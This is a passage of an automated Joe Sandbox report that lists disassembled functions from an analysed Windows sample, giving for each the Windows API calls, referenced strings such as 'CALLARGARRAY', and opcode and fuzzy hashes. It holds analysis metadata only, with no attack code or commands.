Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 049b76aced4619a35a8fa44a51afb9cdc7cc5cd930a60c9afbf33da7c7b636c7
Instruction ID: d824ad4c9198fe5ec72113bbdecca91b10bc144f993745d758f223b5e79c08af
Opcode Fuzzy Hash: 049b76aced4619a35a8fa44a51afb9cdc7cc5cd930a60c9afbf33da7c7b636c7
Instruction Fuzzy Hash: 2E115B35C1152DE7CF04EFE8E9586EEBB78FF89721F108299D945B2181CB309691CB61

Function 00A42DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00A42DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00A42DD6
GetCurrentThreadId.KERNEL32 ref: 00A42DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00A42DE4

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: f188551a24d071ca18d6c5ddce3aa1245834d43fa53b4c7ec5d114dbb142a222
Instruction ID: 8b3102bb1a8d51b433ae7a3a5b4be58879466a6354e6af57c868fa3ba4824abd
Opcode Fuzzy Hash: f188551a24d071ca18d6c5ddce3aa1245834d43fa53b4c7ec5d114dbb142a222
Instruction Fuzzy Hash: 58E092716012347BD7205BB29C4DFEB7F6CEF82BB1F805119F109D10809AA4C982C7B0

Function 00A78863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 009F9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 009F9693
Part of subcall function 009F9639: SelectObject.GDI32(?,00000000), ref: 009F96A2
Part of subcall function 009F9639: BeginPath.GDI32(?), ref: 009F96B9
Part of subcall function 009F9639: SelectObject.GDI32(?,00000000), ref: 009F96E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00A78887
LineTo.GDI32(?,?,?), ref: 00A78894
EndPath.GDI32(?), ref: 00A788A4
StrokePath.GDI32(?), ref: 00A788B2

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: ce7f71b3a7f35caa4bbb570c25a6168bd290eb75a1578fb062af06d0b7369c21
Instruction ID: c0b1f4ea753a64c1c04486ddd0cef6564e275227c0920f15874534bf7d9f3e45
Opcode Fuzzy Hash: ce7f71b3a7f35caa4bbb570c25a6168bd290eb75a1578fb062af06d0b7369c21
Instruction Fuzzy Hash: 46F03A36041258BADB12AFD4AC0DFCA3E59AF06320F84C104FA25650E2C7795552CBE5

Function 009F98B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 009F98CC
SetTextColor.GDI32(?,?), ref: 009F98D6
SetBkMode.GDI32(?,00000001), ref: 009F98E9
GetStockObject.GDI32(00000005), ref: 009F98F1

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 13a91e5084303918ef6a734657d23939f983b2f6c1ddbf94c36d597dfc58cc79
Instruction ID: 590bd1a08928a4939830aa06d8f68773afa7a807d65a3648654aed4bd7b9d190
Opcode Fuzzy Hash: 13a91e5084303918ef6a734657d23939f983b2f6c1ddbf94c36d597dfc58cc79
Instruction Fuzzy Hash: 55E06531244244ABDB219BB4AC09BEC3F10AB11335F14C32DF6FA540E1C37146819B10

Function 00A4162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00A41634
OpenThreadToken.ADVAPI32(00000000,?,?,?,00A411D9), ref: 00A4163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00A411D9), ref: 00A41648
OpenProcessToken.ADVAPI32(00000000,?,?,?,00A411D9), ref: 00A4164F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: a33b3565d5ccd2a2fb70aad9e2d529fa536abd0b39a314b781c11f3965e1557a
Instruction ID: aeb67758015b00d04ea2126faefdba8a90c18f8f10fc90d36dc4c5c84f6dc5f1
Opcode Fuzzy Hash: a33b3565d5ccd2a2fb70aad9e2d529fa536abd0b39a314b781c11f3965e1557a
Instruction Fuzzy Hash: 71E08C36602211EBD7206FE0AE0DB867B7CAF847A6F15C81CF249DD090E63485C2CBA4

Function 00A3D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00A3D858
GetDC.USER32(00000000), ref: 00A3D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00A3D882
ReleaseDC.USER32(?), ref: 00A3D8A3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 298a30643ab485183edf06ff5d135614ea23ee6e21e12ba614677c2a86156851
Instruction ID: ebdf3cb21cafc7aba86398a472e81430778384bb86e2e5abbd812f23d81d9e2a
Opcode Fuzzy Hash: 298a30643ab485183edf06ff5d135614ea23ee6e21e12ba614677c2a86156851
Instruction Fuzzy Hash: 53E01AB0800204DFCB41EFE0DC4866DBBB6FB08320F14D419F84AE7250CB385982AF40

Function 00A3D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00A3D86C
GetDC.USER32(00000000), ref: 00A3D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00A3D882
ReleaseDC.USER32(?), ref: 00A3D8A3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 20a5039097499eec90660714771f71da93801486b84cb3c953b4a46905e34c1b
Instruction ID: a99c223bda602d2b95f21838c73e19dc4f0b6f6bab440b6d966cb160aef3dc08
Opcode Fuzzy Hash: 20a5039097499eec90660714771f71da93801486b84cb3c953b4a46905e34c1b
Instruction Fuzzy Hash: 92E092B5800204EFCB51EFE1DC4866DBBB6BB48321B149459E95AE7260DB385982AF50

Function 00A54D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 009E7620: _wcslen.LIBCMT ref: 009E7625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00A54ED4

Strings

*, xrefs: 00A54E10
LPT, xrefs: 00A54DFB

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 61393c2694fd41379133f3be6c8009bf0245c6248ab5281a3cbc39ad6dcc5224
Instruction ID: 42eb68295e2faf93e881e618b195806b2df78f42786874dd5418218d8da14bc5
Opcode Fuzzy Hash: 61393c2694fd41379133f3be6c8009bf0245c6248ab5281a3cbc39ad6dcc5224
Instruction Fuzzy Hash: E5917475900244AFCB15DF59C484EA9BBF1BF48708F188099F80A5F392D735ED89CB51

Function 00A0E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00A0E30D

Strings

pow, xrefs: 00A0E2E5, 00A0E302

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: c7cbc057236c19c51fd2a450cadc69d61c2540afc6183c1c457faa8f7c664d61
Instruction ID: 5c5325a9cf458a5c561d556fe86503436ac056bb0396e5ac7c3cb4ad00e05930
Opcode Fuzzy Hash: c7cbc057236c19c51fd2a450cadc69d61c2540afc6183c1c457faa8f7c664d61
Instruction Fuzzy Hash: 8F514C71A0C20A96CB15F714EA417FE3FF4AB40740F345D98E0D6862E9DB358CD2AB86

Function 009FE187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 009FE1B1

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 525c121258d84325061a9001ea8e93ed8996816b47d2acdc9d2e120363f55c3a
Instruction ID: e7ed54e12593b462299934a10ba1e33db37a046e3b9442223cc9dd1ad9d917e7
Opcode Fuzzy Hash: 525c121258d84325061a9001ea8e93ed8996816b47d2acdc9d2e120363f55c3a
Instruction Fuzzy Hash: 82510675A0424ADFDB15DF68C481AFE7BA8EF55310F244059F9A19B2E0E7349D43CB90

Function 009FF291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 009FF2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 009FF2BB

Strings

@, xrefs: 009FF2AF

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 38eb2e0791688eeb3673dc657ea351e2a90572005c91485c1c1cec98630f49f7
Instruction ID: 4ce093df421da6885bd35fc73f7a8d4ff6382732db761260d0f62132eecccc3a
Opcode Fuzzy Hash: 38eb2e0791688eeb3673dc657ea351e2a90572005c91485c1c1cec98630f49f7
Instruction Fuzzy Hash: 8E5145714087859BD321EF51E886BABBBF8FBC4300F81885DF1D941195EB31892ACB67

Function 00A65745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 00A657E0
_wcslen.LIBCMT ref: 00A657EC

Strings

CALLARGARRAY, xrefs: 00A657E6, 00A657EB

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: a525857d8611adec0758f2636cc51e8a0bb714acb9c595e5ac4a29c94916ea49
Instruction ID: 7a2b0930169768dce7d0352167ba002873a62ce6913e0b77cfd5e02eed472d5a
Opcode Fuzzy Hash: a525857d8611adec0758f2636cc51e8a0bb714acb9c595e5ac4a29c94916ea49
Instruction Fuzzy Hash: 76418C71E002099FCB14DFB9C9819FEBBB5FF99320F108069E505A72A2E7309D81DB90

Function 00A5D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A5D130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00A5D13A

Strings

|, xrefs: 00A5D10B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: 966df34e020427613a971db2a06341433583d24e4185fdc7a59ca3115239a375
Instruction ID: 3bf9afbe2c225ea99f8bdb5d1ebed90005a3e39ff961ccbeb233cb00501eed12
Opcode Fuzzy Hash: 966df34e020427613a971db2a06341433583d24e4185fdc7a59ca3115239a375
Instruction Fuzzy Hash: B8314F71D00209ABCF15EFA5CC85EEE7FB9FF55340F000159F815A6162EB31AA56CB60

Function 00A7356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00A73621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00A7365C

Strings

static, xrefs: 00A735BC

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 79454b2f75009fd7e4b3fcd1e90fe8820bdd44cfb95d13cbdcc8ba62ecefb665
Instruction ID: 66e7881ded4f94392ae1e3f5bd52ba5535f2a3077af7004b30df07d6eb891e5b
Opcode Fuzzy Hash: 79454b2f75009fd7e4b3fcd1e90fe8820bdd44cfb95d13cbdcc8ba62ecefb665
Instruction Fuzzy Hash: 8F318B72100204AEDB10DF68DC80FBB73A9FF88720F11D619F9A997290DA31AD82D764

Function 00A74537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00A7461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00A74634

Strings

', xrefs: 00A7458E

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: e062126f21f89b9c42bbb6a566528c3b1aa059291b183ba1d02979ef61397024
Instruction ID: 1b54118a6051121f3e8ada036c63c48ff8718d11b73f4b51c9d354ddf06d277e
Opcode Fuzzy Hash: e062126f21f89b9c42bbb6a566528c3b1aa059291b183ba1d02979ef61397024
Instruction Fuzzy Hash: AB31F874A013099FDB14CFA9C991BDA7BB5FF49300F14816AE909AB351E770E941CF90

Function 00A731EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00A7327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A73287

Strings

Combobox, xrefs: 00A73249

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: e22308ad707bb9089c33c257b92d8fadf5f5035295b429d78aa65d5ec70c1637
Instruction ID: 1447ebe4db147440a375f41e062142bc3ee5a15d0689d9238437ea8249a81c1a
Opcode Fuzzy Hash: e22308ad707bb9089c33c257b92d8fadf5f5035295b429d78aa65d5ec70c1637
Instruction Fuzzy Hash: 2311B6723001087FEF219F94DC84EFB376AEBA8364F11C528F51C97291D6759D5197A0

Function 00A73710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 009E600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 009E604C
Part of subcall function 009E600E: GetStockObject.GDI32(00000011), ref: 009E6060
Part of subcall function 009E600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 009E606A

GetWindowRect.USER32(00000000,?), ref: 00A7377A
GetSysColor.USER32(00000012), ref: 00A73794

Strings

static, xrefs: 00A73757

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: acde19ea40da91b650b0a1ca322381a64dbded177938162c05bfaa248112be41
Instruction ID: d7fd8bbf7f5ded9f2a5782c04e98bd72bc76fc2dcb54a9decbe11910f1b687ba
Opcode Fuzzy Hash: acde19ea40da91b650b0a1ca322381a64dbded177938162c05bfaa248112be41
Instruction Fuzzy Hash: C31129B2610209AFDF01DFA8CC45EEA7BB8FB08355F018918F959E2250D735E8519B50

Function 00A5CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00A5CD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00A5CDA6

Strings

<local>, xrefs: 00A5CD66

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: f07351a1c6e69921210002d1f36174dc22dcc27756bcf2ce668c7f5933dc0dde
Instruction ID: b45641e1c9d0b291fa5110d96254b387d08720e604f4a4bed80e75890e6790ce
Opcode Fuzzy Hash: f07351a1c6e69921210002d1f36174dc22dcc27756bcf2ce668c7f5933dc0dde
Instruction Fuzzy Hash: 16119E72205735BED7284B668C49FE7BEB8FB127B6F00422AB909C2084D6749949D6F0

Function 00A73429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00A734AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00A734BA

Strings

edit, xrefs: 00A7348F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: fbc6cf8e1f765fea7e18044b9446e6e06fcc6e99268de5cf1be752d73acdeddd
Instruction ID: 741b3a8e7b39801d5afd957a3b486ceff6f8ea61fb4333fb3b524e32198421ec
Opcode Fuzzy Hash: fbc6cf8e1f765fea7e18044b9446e6e06fcc6e99268de5cf1be752d73acdeddd
